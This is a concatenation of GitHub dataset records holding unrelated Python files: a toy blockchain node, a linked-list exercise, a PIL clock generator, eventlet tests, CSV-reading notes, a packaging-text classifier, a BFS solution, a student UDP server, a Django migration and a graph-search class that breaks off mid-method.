sum(tx_amt) if len(tx_amt) > 0 else tx_sum+0, tx_sender, 0)\n\n # This fetches received coin amounts of transactions that were already included in blocks of the blockchain\n # Open transactions are ignored here because one should not be able to spend coins before the transaction was confirmed + included in a block\n tx_recipient = [[tx.amount for tx in block.transactions if tx.recipient == participant] for block in self.__chain]\n\n amount_received = functools.reduce(lambda tx_sum, tx_amt: tx_sum+ sum(tx_amt) if len(tx_amt) > 0 else tx_sum+0, tx_recipient, 0)\n\n # Return the total balance\n return amount_received - amount_sent\n\n\n def get_last_blockchain_value(self):\n \"\"\"Returns the last value of the current blockchain\"\"\"\n if len(self.__chain) < 1:\n return None\n return self.__chain[-1]\n\n\n def add_transaction(self, recipient, sender, signature, amount=1.0, is_receiving=False):\n \"\"\"Append new value as well as the last blockchain value to the blockchain\n\n Arguments:\n :sender: Sender of coins in transaction.\n :recipient: Receiver of coins in transaction.\n :amount: Amount of coins sent in transaction (default = 1.0)\n \"\"\"\n # transaction = {'sender':sender, \n # 'recipient':recipient, \n # 'amount':amount}\n # if self.public_key == None:\n # return False\n transaction = Transaction(sender, recipient, signature, amount)\n if Verification.verify_transaction(transaction, self.get_balance):\n self.__open_transactions.append(transaction)\n self.save_data()\n if not is_receiving:\n # Only broadcasting to peer nodes if on the original node that created the transaction. \n # This prevents a chain of infinite requests occuring and only getting back one response\n for node in self.__peer_nodes:\n # send an http request to communicate with the nodes\n url = 'http://{}/broadcast-transaction'.format(node)\n try:\n response = requests.post(url, json={'sender': sender, 'recipient': recipient, 'amount':amount, 'signature': signature})\n if response.status_code == 400 or response.status_code == 500:\n print('Transaction declined, needs resolving.')\n return False\n except requests.exceptions.ConnectionError:\n continue # in case could not broadcast to node (e.g. no internet) skip to the next node\n return True\n return False\n\n\n def mine_block(self):\n \"\"\"Create a new block and add open transactions to it.\"\"\"\n if self.public_key is None:\n return None\n # Fetch the currently last block of the blockchain\n last_block = self.__chain[-1]\n # Hash the last block (=> to be able to compare it to the stored hash value)\n hashed_block = hash_block(last_block)\n proof = self.proof_of_work()\n # Miners should be rewarded, so let's create a reward transaction\n # reward_transaction = {\n # 'sender':'MINING',\n # 'recipient':owner,\n # 'amount': MINING_REWARD\n # }\n \n reward_transaction = Transaction('MINING', self.public_key, '' ,MINING_REWARD)\n # Copy transaction instead of manipulating the original open_transactions list\n # This ensures that if mining should fail, the reward transaction would be prevented from being stored in the open transactions\n copied_transactions = self.__open_transactions[:]\n for tx in copied_transactions:\n if not Wallet.verify_transaction(tx):\n return None\n copied_transactions.append(reward_transaction) # adding mined block to system\n block = Block(len(self.__chain), hashed_block, copied_transactions, proof)\n\n self.__chain.append(block)\n self.__open_transactions = []\n self.save_data()\n ## Broadcast \n for node in self.__peer_nodes:\n url = 'http://{}/broadcast-block'.format(node)\n converted_block = block.__dict__.copy()\n converted_block['transactions'] = [tx.__dict__ for tx in converted_block['transactions']]\n try:\n response = requests.post(url, json={'block': converted_block})\n if response.status_code == 400 or response.status_code == 500:\n print('Block declined, needs resolving.')\n if response.status_code == 409:\n self.resolve_conflicts = True\n except requests.exceptions.ConnectionError:\n continue\n return block\n\n def add_block(self, block):\n # Validate block, check pow and store\n # Must convert transactions to a list, because verification expects data in that format. \n transactions = [Transaction(tx['sender'], tx['recipient'], tx['signature'], tx['amount']) for tx in block['transactions']]\n proof_is_valid = Verification.valid_proof(transactions[:-1], block['previous_hash'], block['proof'])#Passing in a list of all transactions of block being received when validating pow. \n #Avoid last block in chain as it contains the reward transaction and will invalidate it. \n # #Usually calculate pow before adding reward transaction (e.g. mine_block). \n # using [:-1] avoids using the reward transaction as part of the transactions used to validate the incoming pow which wont work.\n hashes_match = hash_block(self.chain[-1]) == block['previous_hash'] \n if not proof_is_valid or not hashes_match:\n return False\n converted_block = Block(block['index'], block['previous_hash'], transactions, block['proof'], block['timestamp'])\n self.__chain.append(converted_block)\n stored_transactions = self.__open_transactions[:]\n for itx in block['transactions']:\n for opentx in stored_transactions:\n # if all fields are equal it is the same transaction\n if opentx.sender == itx['sender'] and opentx.recipient == itx['recipient'] and opentx.amount == itx['amount'] and opentx.signature == itx['signature']:\n try:\n self.__open_transactions.remove(opentx)\n except ValueError:\n print('Item was already removed.')\n self.save_data()\n return True\n\n\n def resolve(self):\n winner_chain = self.chain\n replace = False ## Control whether current chain is being replaced\n # Get a snapshot of blockcahin on every peer node to check which peer node has which blockchain & which one is correct.\n for node in self.__peer_nodes:\n url = 'http://{}/chain'.format(node)\n try:\n response = requests.get(url)\n node_chain = response.json()\n node_chain = [Block(block['index'], block['previous_hash'], [Transaction(tx['sender'], tx['recipient'], tx['signature'], tx['amount']) for tx in block['transactions']], block['proof'], block['timestamp']) for block in node_chain]\n \n node_chain_length = len(node_chain)\n local_chain_length = len(winner_chain)\n if node_chain_length > local_chain_length and Verification.verify_chain(node_chain):\n # if chain of peer node is longer and valid, use it as local chain\n winner_chain = node_chain\n replace = True\n except requests.exceptions.ConnectionError:\n continue # avoids break down code for node offline that cant be reached\n self.resolve_conflicts = False\n self.chain = winner_chain\n if replace:\n self.__open_transactions = []\n self.save_data()\n return replace\n\n def add_peer_node(self, node):\n \"\"\"Adds a new node to the peer node set.\n Arguments:\n :node: The node URL which should be added.\n \"\"\"\n self.__peer_nodes.add(node)\n self.save_data()\n \n\n def remove_peer_node(self, node):\n \"\"\"Removes a node from the peer node set.\n Arguments:\n :node: The node URL which should be added.\n \"\"\"\n self.__peer_nodes.discard(node)\n self.save_data()\n \n\n def get_peer_nodes(self):\n \"\"\"Return a list of all connected peer nodes\"\"\"\n return list(self.__peer_nodes)\n ","repo_name":"AhmedBafadal/Blockchain","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":14783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21705310424","text":"from PS05 import *\nclass L1(L):\n def __getitem__(self, idx):\n k = self.first_node\n if idx >=0:\n for i in range(idx):\n assert k.next is not None, \"index %s out of range\"%(str(idx))\n k = k.next\n else:\n lenNegative=(len(self)*-1)\n assert idx>=lenNegative, \"te pasas we\"\n for i in range(len(self)+idx):\n assert k.next is not None, \"index %s out of range\"%(str(idx))\n k = k.next \n return k.value","repo_name":"Dfriveraa/Logica3_modulos","sub_path":"utils/student_function/PS05_01.py","file_name":"PS05_01.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"14929886373","text":"from PIL import Image, ImageFont, ImageDraw\nfrom os import remove\nclass pick:\n def __init__(self):\n self.other_towns = ImageFont.truetype(\"arial.ttf\", size = 20)\n self.main_towns = ImageFont.truetype(\"arial.ttf\", size = 30)\n #self.hours = [i for i in range(24)]\n\n def create_time(self, h,min):\n #k,m,c,e,y\n try:\n #Если есть такой файл, удаляем\n remove(\"time.png\")\n except:\n pass\n self.new_pick = Image.open(\"start.png\")\n self.new_idraw = ImageDraw.Draw(self.new_pick)\n k = h + 5 if h <= 18 else h - 19\n self.new_idraw.text((285,80), str(k) + \" : \" + min, font = self.other_towns)\n m = h - 2 if h >= 2 else h + 22\n self.new_idraw.text((35,80), str(m) + \" : \" + min, font = self.other_towns)\n c = h - 3 if h >= 3 else h + 21\n self.new_idraw.text((35,330), str(c) + \" : \" + min, font = self.other_towns)\n e = h + 15 if h <= 9 else h - 9\n self.new_idraw.text((290,330), str(e) + \" : \" + min, font = self.other_towns)\n self.new_idraw.text((150,200),str(h) + \" : \" + min, font = self.main_towns)\n self.new_pick.save(\"time.png\")\n\n#a = pick()\n#a.create_time(21,\"04\")\n#a.img.show()\n","repo_name":"porenti/i_wanna_be_happy","sub_path":"create_pick.py","file_name":"create_pick.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71663858758","text":"from __future__ import with_statement\nimport eventlet\nfrom eventlet.event import Event\nfrom nose import tools\n\nfrom drivel.utils.contextmanagers import EventReady\nfrom drivel.utils.contextmanagers import EventWatch\n\n\n@tools.raises(EventReady)\ndef test():\n with EventWatch() as e:\n e.send(None)\n eventlet.sleep(1)\n raise Exception()\n\n\n@tools.raises(EventReady)\ndef test_ready_event():\n e = Event()\n e.send(None)\n with EventWatch(e):\n raise Exception()\n\n\ndef test_proxy_removed_from_waiters():\n e = Event()\n w = EventWatch(e)\n with w as e:\n proxy = w.proxy\n assert proxy not in e._waiters\n\n\n@tools.raises(EventReady)\ndef test_throw_is_immediate():\n # we want to throw immediate so no exception thrown can interrupt us\n # outside the context manager's with block.\n from eventlet import greenthread\n w = EventWatch()\n w.event.send(None)\n w._watcher(greenthread.getcurrent())\n # if the throw is immediate, we should never get here\n raise Exception('failed')\n","repo_name":"edwardgeorge/drivel","sub_path":"tests/test_utils_contextmanagers.py","file_name":"test_utils_contextmanagers.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5514937410","text":"# abrir un csv por medio de python (sin usar pandas)\n\nimport csv\n\ndef read_header(path):\n with open(path, 'r') as df: # abrimos el csv\n reader = csv.reader(df, delimiter = \",\") # leemos el csv\n header = next(reader) # definimos los headers y los imprimimos\n print(header)\n #for row in reader: # ciclo que itera sobre la función => csv.reader()\n # print('***' *5)\n # print(row)\n \n\n\"\"\"Queremos la oposibilidad de ejecutarlo como un script, ó como un módulo, para tener ambas opciones usamos:\"\"\"\n\ndef read_csv(path):\n with open(path, \"r\") as df:\n reader = csv.reader(df, delimiter= \",\")\n header = next(reader)\n for row in reader:\n iterador = list(zip(header , row))\n print(iterador)\n\ndef create_df_dict(path):\n with open(path, 'r') as df:\n reader = csv.reader(df, delimiter= ',')\n header = next(reader)\n for row in reader:\n iterador = zip(header, row)\n #print(list(iterador))\n country_dict_df = { header : row for header, row in iterador}\n print(country_dict_df)\n\n\n\"\"\" ahora con lo anterior, creamos una lista de diccionarios\"\"\"\ndef create_df_dict(path):\n with open(path, 'r') as df:\n reader = csv.reader(df, delimiter= ',')\n header = next(reader)\n country_df = []\n \n for row in reader:\n iterador = zip(header, row)\n country_dict_df = dict(iterador)#{ header : row for header, row in iterador}\n country_df.append(country_dict_df)\n \n return country_df\n\n\n\n\nif __name__ == \"__main__\":\n read_header(\"./data/data_population.csv\")\n #read_csv(\"./data/data_population.csv\")\n #create_df_dict(\"./data/data_population.csv\")\n df_country = create_df_dict(\"./data/data_population.csv\")\n print(df_country[0])\n \n \n","repo_name":"mauricios11/python-notes","sub_path":"intermediate/read_csv.py","file_name":"read_csv.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71100732039","text":"from bidi.algorithm import get_display\nfrom .excel_processing import *\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom .utils import GoogleTranslate , get_gs1_elements\n\n# model_loc = r\"/Users/sakthivel/Documents/SGK/Ferrero_CEP/dataset/ferrero_cep_model.sav\"\n# classifier = joblib.load(model_loc)\n\nclassifier = joblib.load(ferrero_cep_model_location)\n\n# master_nutrition_model_location = r\"/Users/sakthivel/Documents/SGK/Ferrero_CEP/dataset/master_nutrition.pkl\"\nnutri_table_available = False\n\ndef dict_to_list(dictionary):\n final_list = []\n global nutri_table_available\n for key, value in dictionary.items():\n for data_dict in value:\n for text_frame_no, txt in data_dict.items():\n # item = re.sub(r\"\\s{3,}|\\.\\r\", lambda pat: pat.group()+\"**\", txt, flags=re.M) ## For applying into multi line content\n item = re.sub(r\"\\s{3,}|\\.[\\r\\n]\", lambda pat: pat.group()+\"**\", txt, flags=re.M) ## For applying into multi line content\n item = str(item).split(\"**\")\n for k in item:\n if k.strip():\n if is_nutrition_table_available(text_preprocessing(k.split(\":\")[0])):\n nutri_table_available = True\n final_list.append(k.strip())\n return final_list\n\ndef text_preprocessing(text):\n text = str(text)\n text = text.lower()\n text = text.replace('\\r',' ').replace(\"\\t\",\"\")\n text = re.sub(r\"\\w\\$\\d\",\"\",text)\n # text = re.sub(r'[^\\w\\s]','',text)\n # text = re.sub(r\"\\(.*\\)|\\[.*\\]\",\"\",text)\n text = text.replace('(','').replace(')','')\n text = re.sub(r\"\\[.*\\]\",\"\",text)\n return text.strip()\n\ndef bold_sequence(text):\n tags = re.findall(r\"b\\$[01]\", text, flags=re.M)\n temp_tags = tags.copy()\n index_to_ignore = []\n for index, tag in enumerate(temp_tags):\n if index not in index_to_ignore:\n if tag == \"b$1\" and index == 0:\n text = \"\".join([\"b$0\", text])\n elif tag == \"b$0\" and index == range(len(tags))[-1]:\n text = \"\".join([text, \"b$1\"])\n elif tag == \"b$0\" and temp_tags[index + 1] == \"b$1\":\n index_to_ignore.append(index + 1)\n return text\n\ndef italian_sequence(text):\n tags = re.findall(r\"i\\$[01]\", text, flags=re.M)\n temp_tags = tags.copy()\n index_to_ignore = []\n for index, tag in enumerate(temp_tags):\n if index not in index_to_ignore:\n if tag == \"i$1\" and index == 0:\n text = \"\".join([\"i$0\", text])\n elif tag == \"i$0\" and index == range(len(tags))[-1]:\n text = \"\".join([text, \"i$1\"])\n elif tag == \"i$0\" and temp_tags[index + 1] == \"i$1\":\n index_to_ignore.append(index + 1)\n return text\n\ndef final_dict(txt_list):\n copy_elements_fixed = [\"COUNTRY OF ORIGIN\", \"USAGE INSTRUCTION\", \"ADDRESS\", \"SHELF_LIFE_STATEMENT\",\n \"STORAGE INSTRUCTION\", \"ALLERGEN STATEMENT\", \"INGREDIENTS\", \"WARNING STATEMENT\",\n \"COPYRIGHT_TRADEMARK_STATEMENT\", \"MARKETING_CLAIM\", \"OTHER_INSTRUCTIONS\",\n \"MARKETING_COPY\", \"FUNCTIONAL_NAME\"]\n gen_cate_dic={}\n classified_output = None\n languages = set()\n copy_elements = set()\n for txt in txt_list:\n cleaned_txt = text_preprocessing(txt)\n if len(cleaned_txt) >10:\n classified_output = classifier.predict(laser.embed_sentences(cleaned_txt, lang='en'))\n probability1 = classifier.predict_proba(laser.embed_sentences(cleaned_txt, lang='en'))\n probability1.sort()\n prob1 = probability1[0][-1]\n\n if prob1 > 0.80:\n classified_output = classified_output[0]\n elif prob1 > 0.60 and prob1 <=0.80:\n classified_output = \"OTHER_INSTRUCTIONS\"\n else:\n classified_output = 'Unmapped'\n # print(\"text\",cleaned_txt,\"probali****\",prob1,\"output******\",classified_output)\n # print(\"**************************\")\n else:\n classified_output = 'Unmapped'\n\n value = txt.strip()\n value = bold_sequence(value)\n value = italian_sequence(value)\n if \"b$0\" in value and \"b$1\" not in value:\n value = \"\".join((value, \"b$1\"))\n elif \"b$1\" in value and \"b$0\" not in value:\n value = \"\".join((\"b$0\", value))\n if \"i$0\" in value and \"i$1\" not in value:\n value = \"\".join((value, \"i$1\"))\n elif \"i$1\" in value and \"i$0\" not in value:\n value = \"\".join((\"i$0\", value))\n lang = classify(cleaned_txt)[0]\n copy_elements.add(classified_output)\n languages.add(lang)\n if value not in [\"b$0 b$1\", \"b$0b$1\", \"b$0*b$1\", \"•\", \"b$0.b$1\", \"b$0َb$1\"] and value.strip():\n if classified_output == \"Unmapped\":\n gen_cate_dic.setdefault(classified_output, []).append({lang: value})\n else:\n gen_cate_dic.setdefault(classified_output.upper(), []).append({lang: value})\n gen_cate_dic,languages,copy_elements = ingre_split_dict(gen_cate_dic,languages,copy_elements)\n gen_cate_dic[\"copyElements\"] = list(set(get_gs1_elements()) - copy_elements)\n # gen_cate_dic[\"copyElements\"] = copy_elements_fixed\n gen_cate_dic[\"languages\"] = list(languages)\n return gen_cate_dic\n\ndef nutrition_data_processing(input_list,method=None):\n # print(input_list)\n nutrition_dict = {}\n nutrition_dict_exception = {}\n for nutrition_row_dict in input_list:\n nutrition_header_original = nutrition_row_dict[\"1\"]\n nutrition_header = nutrition_row_dict[\"1\"].split('/')[-1].strip()\n if nutrition_header and len(nutrition_row_dict) > 1:\n if method == \"manual\":\n nutri_probability = 1\n nutri_class = nutrition_header\n else:\n nutrition_header = re.sub(r\"(g|mg|kj|kcal|mcg|\\/)*\\b\",\"\",nutrition_header.lower())\n nutri_out = base('ferrero_header', master_nutrition_model_location).prediction(get_display(nutrition_header))\n nutri_class = nutri_out['output']\n nutri_probability = nutri_out['probability']\n # print(nutrition_header,'------>',nutri_class)\n nutrition_row_dict.pop('1',None)\n if nutrition_row_dict:\n if nutri_class not in ['None', 'header','Nutrition information'] and nutri_probability > 0.80:\n for index , value in nutrition_row_dict.items():\n header = 'PDV' if \"%\" in value else 'Value'\n value = value.strip()\n if not value: # textract null value and value with header fix\n for regex_value in re.finditer(r\"\\d{0,}?\\,?\\d{0,}?\\s{0,1}?(g|mg|kj|kcal|mcg)\\/?(g|mg|kj|kcal|mcg)?\",nutrition_header_original,re.I):\n if re.search(r\"\\d\",str(regex_value.group())):\n value = (regex_value.group()).strip()\n break\n if value.strip():\n if nutri_class in nutrition_dict:\n nutrition_dict[nutri_class].append({header:{'en':value}})\n else:\n nutrition_dict[nutri_class] = [{header:{'en':value}}]\n elif nutri_class not in ['header','Nutrition information'] and len(nutrition_header) > 5:\n # print(\"else statement ra\")\n nutrition_header = re.sub(r\"(g|mg|kj|kcal|mcg|\\/)*\\b\", \"\", nutrition_header.lower())\n if nutrition_header.lower() not in (\"vitamine\") and not re.search(r\"\\d\",nutrition_header):\n # if nutrition_header.lower() not in (\"vitamine\"):\n nutri_class = nutrition_header\n else:\n continue\n for index , value in nutrition_row_dict.items():\n header = 'PDV' if \"%\" in value else 'Value'\n value = value.strip()\n if not value: # textract null value and value with header fix\n for regex_value in re.finditer(r\"\\d{0,}?\\,?\\d{0,}?\\s{0,1}?(g|mg|kj|kcal|mcg)\\/?(g|mg|kj|kcal|mcg)?\",nutrition_header_original,re.I):\n if re.search(r\"\\d\",str(regex_value.group())):\n value = (regex_value.group()).strip()\n break\n if value.strip():\n if nutri_class in nutrition_dict_exception:\n nutrition_dict_exception[nutri_class].append({header:{'en':value}})\n else:\n nutrition_dict_exception[nutri_class] = [{header:{'en':value}}]\n # print(nutrition_dict)\n\n if len(nutrition_dict) <= 3:\n nutrition_dict.clear()\n else:\n nutrition_dict = {**nutrition_dict,**nutrition_dict_exception}\n return nutrition_dict\n\ndef ingre_split_dict(dic,languages,copy_elements):\n final_dic = {}\n for key, value in dic.items():\n if key in [\"INGREDIENTS\",\"OTHER_INSTRUCTIONS\"]:\n for cnt in value:\n for lang, txt in cnt.items():\n # if key in [\"ingredients\", \"OTHER_INSTRUCTIONS\"]:\n item = re.sub(r\"\\. \", lambda pat: pat.group()+\"**\", txt, flags=re.M)\n splt_txt = item.split(\"**\")\n for final_text in splt_txt:\n classified_output = classifier.predict(laser.embed_sentences(final_text, lang='en'))\n probability1 = classifier.predict_proba(laser.embed_sentences(final_text, lang='en'))\n probability1.sort()\n prob1 = probability1[0][-1]\n if prob1 > 0.80:\n classified_output = classified_output[0]\n elif prob1 > 0.60 and prob1 <= 0.80:\n classified_output = \"OTHER_INSTRUCTIONS\"\n else:\n classified_output = 'Unmapped'\n if \"b$0\" in final_text and \"b$1\" not in final_text:\n final_text = \"\".join((final_text, \"b$1\"))\n elif \"b$1\" in final_text and \"b$0\" not in final_text:\n final_text = \"\".join((\"b$0\", final_text))\n # print(\"text\", final_text, \"probali****\", prob1, \"output******\", classified_output)\n # print(\"**************************\")\n # lang = classify(final_text)[0]\n copy_elements.add(classified_output)\n languages.add(lang)\n if classified_output == \"Unmapped\":\n final_dic.setdefault(classified_output, []).append({lang: final_text.strip()})\n else:\n final_dic.setdefault(classified_output.upper(), []).append({lang: final_text.strip()})\n # if classified_output in final_dic:\n # final_dic[classified_output].append({lang: final_text.strip()})\n # else:\n # final_dic[classified_output] = [{lang: final_text.strip()}]\n else:\n for cnt in value:\n if key in final_dic:\n final_dic[key].append(cnt)\n else:\n final_dic[key] = [cnt]\n\n return final_dic,languages,copy_elements\n\n \n\ndef is_nutrition_table_available(text):\n# print(\"**********\",text)\n nutri_header = ['INFORMASI NILAI GIZI', 'nutrition information', 'nutrition information typical values',\n 'nutrition declaration']\n similarity = cosine_similarity(laser.embed_sentences(text, lang='en'),\n laser.embed_sentences(nutri_header, lang='en').mean(0).reshape(1, 1024))[0][0]\n # print(\"**********\",text,\"&&&&&&&&&&&&\",similarity)\n if similarity > 0.80:\n# print(\"$$$$$$$\"*4)\n return True\n else:\n return False\n\n\ndef ferrero_main(dic):\n output_dic ={}\n nutrition_aws_mode = 0\n nutrition_manual_mode = 0\n nutrition_availability = 0\n global nutri_table_available\n nutri_table_available = False\n if \"modifyData\" in dic:\n return dic[\"modifyData\"]\n if \"nutrition_data\" in dic:\n if \"tf_nutrition\" in dic[\"nutrition_data\"][0]:\n nutrition_availability = 1\n if dic[\"nutrition_data\"][0]['tf_nutrition']:\n if isinstance(dic[\"nutrition_data\"][0]['tf_nutrition'][0], str):\n nutrition_aws_mode = 1\n try:\n key_variable = list(dic[\"nutrition_data\"][0]['tf_nutrition'][0].keys())[0]\n\n # print(\"key_variable--------->\", key_variable)\n if not key_variable.isnumeric():\n # print('manual format')\n nutrition_manual_mode = 1\n nutrition_aws_mode = 0\n xx = []\n for index, dictionary in enumerate(dic[\"nutrition_data\"][0]['tf_nutrition']):\n d = {}\n for key, value in dictionary.items():\n d['1'] = key\n for ind, val in enumerate(value):\n d[ind + 2] = val\n xx.append(d)\n # print(f'xxxx----->{xx}')\n nutrition_response = nutrition_data_processing(xx, method='manual')\n else:\n # print('semi-textract format')\n nutrition_response = nutrition_data_processing(dic[\"nutrition_data\"][0]['tf_nutrition'])\n nutrition_aws_mode = 1\n except:\n nutrition_response = {}\n # return {'status': '0','nutrition':nutrition_response}\n if nutrition_response and 'Nutrition' not in output_dic:\n output_dic['Nutrition'] = nutrition_response\n dic.pop('nutrition_data', None)\n txt_list = dict_to_list(dic)\n output_dic = {**final_dict(txt_list), **output_dic}\n print(output_dic)\n if nutrition_aws_mode == 1 or not nutri_table_available or nutrition_availability:\n return {**{'status': '0'}, **{\"modifyData\": output_dic}} # Status \"0\" goes to CEP for edit option else go to tornado for xml generation\n elif nutrition_manual_mode == 1:\n return output_dic\n # return {**{'status':'0'}, **{\"modifyData\":output_dic}}\n # if not nutri_table_available:\n # return {**{'status':'0'}, **{\"modifyData\":output_dic}}\n else:\n return {'status':'0'}\n\n \n","repo_name":"Praveen-Kumar-SGK/SGK","sub_path":"extractor/ferrero_cep.py","file_name":"ferrero_cep.py","file_ext":"py","file_size_in_byte":15039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21769778891","text":"from collections import deque\nfrom typing import List\n\nclass Solution:\n def shortestPathBinaryMatrix(self, grid: List[List[int]]) -> int:\n if grid[0][0] == 1: return -1\n directs = [[-1, -1], [-1, 0], [-1, 1],\n [0, -1], [0, 1],\n [1, -1], [1, 0], [1, 1]]\n n = len(grid)\n if n == 1: return 1\n q = deque([[0, 0]])\n grid[0][0] = 1\n step = 1\n while q:\n print(q)\n step += 1\n for _ in range(len(q)):\n x, y = q.popleft()\n for dx, dy in directs:\n nx, ny = x + dx, y + dy\n if -1 < nx < n and -1 < ny < n and grid[nx][ny] == 0:\n if nx == ny == n-1: return step\n q.append([nx, ny])\n grid[nx][ny] = 1\n return -1\n \ngrid = [[1,0,0],\n [1,1,0],\n [1,1,0]]\ns = Solution()\nprint(s.shortestPathBinaryMatrix(grid))","repo_name":"lihaojia24/leetcode","sub_path":"python/1091.py","file_name":"1091.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32642721134","text":"import socketserver\nimport pickle\nimport random\n\nopcije={\"komanda\": \"M\", \"1\": \" Nasumicni broj\", \"2\": \" Prognoza\", \"3\": \" Kalkulator\", \"0\": \" Izlaz\"}\n\ntemperatura=random.randint(-25, 40)\nvlaznost=random.randint(0, 100)\nsansa_za_kisu=random.randint(0, 100)\n\nlogin_zahtevi=[]\nulogovani_useri=[]\n\ndef send_data(socket, adresa, podatak):\n poruka_za_odgovor_byte=pickle.dumps(opcije)\n socket.sendto(poruka_za_odgovor_byte, self.client_address)\n\nclass MyUDPHandler(socketserver.BaseRequestHandler):\n def handle(self):\n primljeni_podatak=self.request[0].strip()\n socket=self.request[1] \n y=pickle.loads(primljeni_podatak)\n print(y)\n if(y[\"komanda\"]==\"L\"):\n code=random.randint(1000, 9999)\n login_zahtevi.append(code)\n\n odgovor={\"komanda\": \"LZ\", \"code\": code}\n send_data(socket, self.client_addres, odgovor)\n \n if(y[\"komanda\"]==\"Z\"):\n print(\"Login: \" + y[\"ime\"] + \" \" + y[\"prezime\" ] + \" \" + y[\"br\"])\n send_data(socket, self.client_address, opcije)\n elif(y[\"komanda\"]==\"G\"):\n send_data(socket, self.client_address, opcije)\n elif(y[\"komanda\"]==\"I\"):\n if(y[\"izbor\"]==0):\n send_data(socket, self.client_address, opcije)\n elif(y[\"izbor\"]==1):\n broj=random.randint(1, 100)\n odgovor={\"komanda\": \"B\", \"broj\": broj}\n send_data(socket, self.client_address, odgovor)\n elif(y[\"izbor\"]==2):\n odgovor={\"komanda\": \"P\", \"t\": temperatura, \"v\": vlaznost, \"s\": sansa_za_kisu }\n send_data(socket, self.client_address, odgovor)\n elif(y[\"izbor\"]==3):\n broj1=y[\"broj1\"]\n broj2=y[\"broj2\"]\n operacija=y[\"operacija\"]\n if(operacija==\"+\"):\n rezultat=broj1 + broj2\n elif(operacija==\"-\"):\n rezultat=broj1 - broj2\n elif(operacija==\"*\"):\n rezultat=broj1 * broj2\n elif(operacija==\"/\"):\n rezultat=broj1 / broj2\n\nHOST=\"192.168.81.60\"\nPORT= 6500\n\nserver=socketserver.UDPServer((HOST, PORT), MyUDPHandler)\nserver.serve_forever()\n\n","repo_name":"NikolaPetrovic97/Mreze","sub_path":"Vezbe2/Predavanje_4.py","file_name":"Predavanje_4.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69871105798","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('feti', '0031_auto_20150806_1558'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='campus',\n options={'ordering': ['campus'], 'verbose_name': 'Provider'},\n ),\n migrations.AlterModelOptions(\n name='provider',\n options={'ordering': ['primary_institution'], 'verbose_name': 'Primary institution'},\n ),\n migrations.AlterField(\n model_name='campus',\n name='campus',\n field=models.CharField(max_length=150, null=True, verbose_name='Provider', blank=True),\n ),\n migrations.AlterField(\n model_name='provider',\n name='primary_institution',\n field=models.CharField(max_length=255, null=True, verbose_name='Primary institution', blank=True),\n ),\n ]\n","repo_name":"kartoza/feti","sub_path":"django_project/feti/migrations/0032_auto_20150909_1127.py","file_name":"0032_auto_20150909_1127.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"70370981638","text":"# /usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom data_struct import Stack,Queue,GraphNode,MinPriorityQueue\nimport sys,time,copy\n\nclass Graph(object):\n '''\n 类似表示\n graph_test={0:{1:7, 3:3, 4:3, 5:2},\n 1:{0:7,2:5, 4:1, 5:2},\n 2:{1:5,3:6, 5:3},\n 3:{0:3,2:6,5:1},\n 4:{0:3,1:1},\n 5:{0:2,1:2,2:3,3:1}}\n '''\n def __init__(self,graph = {}):\n self.graph = graph\n\n def insert_node(self,node_name,route):\n for graph_node in route:\n if graph_node in self.graph:\n self.graph[graph_node][node_name] = route[graph_node]\n self.graph[node_name] = route\n\n def delete_node(self,node_name):\n if node_name in self.graph:\n for node in self.graph:\n route = self.graph[node]\n if node_name in route:\n del route[node_name]\n del self.graph[node_name]\n\n def set_node(self,origin_name,new_name,new_route={}):\n if origin_name in self.graph:\n for node in self.graph:\n route = self.graph[node]\n if origin_name in route:\n route[new_name] = route.pop(origin_name)\n self.graph[new_name] = self.graph.pop(origin_name)\n\n if len(new_name) is not 0:\n self.graph[new_name] = new_route\n\n def dfs_search_any_path(self,start_node_name,end_node_name):\n if (start_node_name not in self.graph) or (end_node_name not in self.graph) :\n return None\n else:\n path = []\n\n stack = Stack()\n visited = {}\n stack.push(start_node_name)\n\n while stack.top() is not None:\n\n # 类似 info = {0:{1:7, 3:3, 4:3, 5:2}}\n start = stack.pop()\n\n visited[start] = True\n path.append(start)\n if end_node_name in self.graph[start]:\n path.append(end_node_name)\n return path\n else:\n route = self.graph[start]\n for end in route:\n if end not in visited:\n visited[end] = True\n stack.push(end)\n return None\n\n def dfs_search_all_from_one_node(self,start_node_name):\n if (start_node_name not in self.graph):\n return None\n else:\n path = []\n\n stack = Stack()\n visited = {}\n stack.push(start_node_name)\n\n while stack.top() is not None:\n\n # 类似 info = {0:{1:7, 3:3, 4:3, 5:2}}\n start = stack.pop()\n\n visited[start] = True\n path.append(start)\n\n if len(visited) == len(self.graph):\n while stack.top() is not None:\n path.append(stack.pop())\n return path\n else:\n route = self.graph[start]\n for end in route:\n if end not in visited:\n visited[end] = True\n stack.push(end)\n return None\n\n def bfs_search_any_path(self,start_node_name,end_node_name):\n if (start_node_name not in self.graph) or (end_node_name not in self.graph) :\n return None\n else:\n path = []\n\n queue = Queue()\n visited = {}\n queue.enQueue(start_node_name)\n\n while queue.front() is not None:\n # 类似 info = {0:{1:7, 3:3, 4:3, 5:2}}\n start = queue.deQueue()\n\n if 